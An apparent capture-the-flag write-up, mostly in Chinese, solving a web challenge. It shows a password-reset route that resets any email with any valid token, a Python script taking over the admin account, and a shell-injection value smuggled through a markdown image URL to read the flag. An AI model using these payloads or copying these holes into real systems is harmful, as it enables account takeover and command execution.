DIFFICULTY:VERY EASY
step1:逻辑漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
router.post("/reset-password", async (req, res) => {
const { token, newPassword, email } = req.body; // Added 'email' parameter
if (!token || !newPassword || !email)
return res.status(400).send("Token, email, and new password are required.");

try {
const reset = await getPasswordReset(token);
if (!reset) return res.status(400).send("Invalid or expired token.");

const user = await getUserByEmail(email);
if (!user) return res.status(404).send("User not found.");

await updateUserPassword(user.id, newPassword);
await deletePasswordReset(token);

res.send("Password reset successful.");
} catch (err) {
console.error("Error resetting password:", err);
res.status(500).send("Error resetting password.");
}
});

先用test@email.htb注册用户
然后重置test用户,在邮箱中拿到token,之后可用这个token重置admin用户的密码,然后登录为admin,可用burp或者python,也可以直接fetch:

1
2
3
4
import requests
host="http://83.136.255.197:34108/"
r=requests.post(host+"reset-password",json={"token":"f1d0ac7d7c3ae334a2f03c0f386be845","email":"admin@armaxis.htb","newPassword":"admin"})
print(r.text)

step2:
os command injection

markdown.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function parseMarkdown(content) {
if (!content) return '';
return md.render(
content.replace(/\!\[.*?\]\((.*?)\)/g, (match, url) => {
try {
const fileContent = execSync(`curl -s ${url}`);
const base64Content = Buffer.from(fileContent).toString('base64');
return `<img src="data:image/*;base64,${base64Content}" alt="Embedded Image">`;
} catch (err) {
console.error(`Error fetching image from URL ${url}:`, err.message);
return `<p>Error loading image: ${url}</p>`;
}
})
);
}

note参数存在漏洞,填入![aaa](http://127.0.0.1:1337/static/style.css;cat /flag.txt > /app/challenge/static/flag.txt)
访问/static/flag.txt得到flag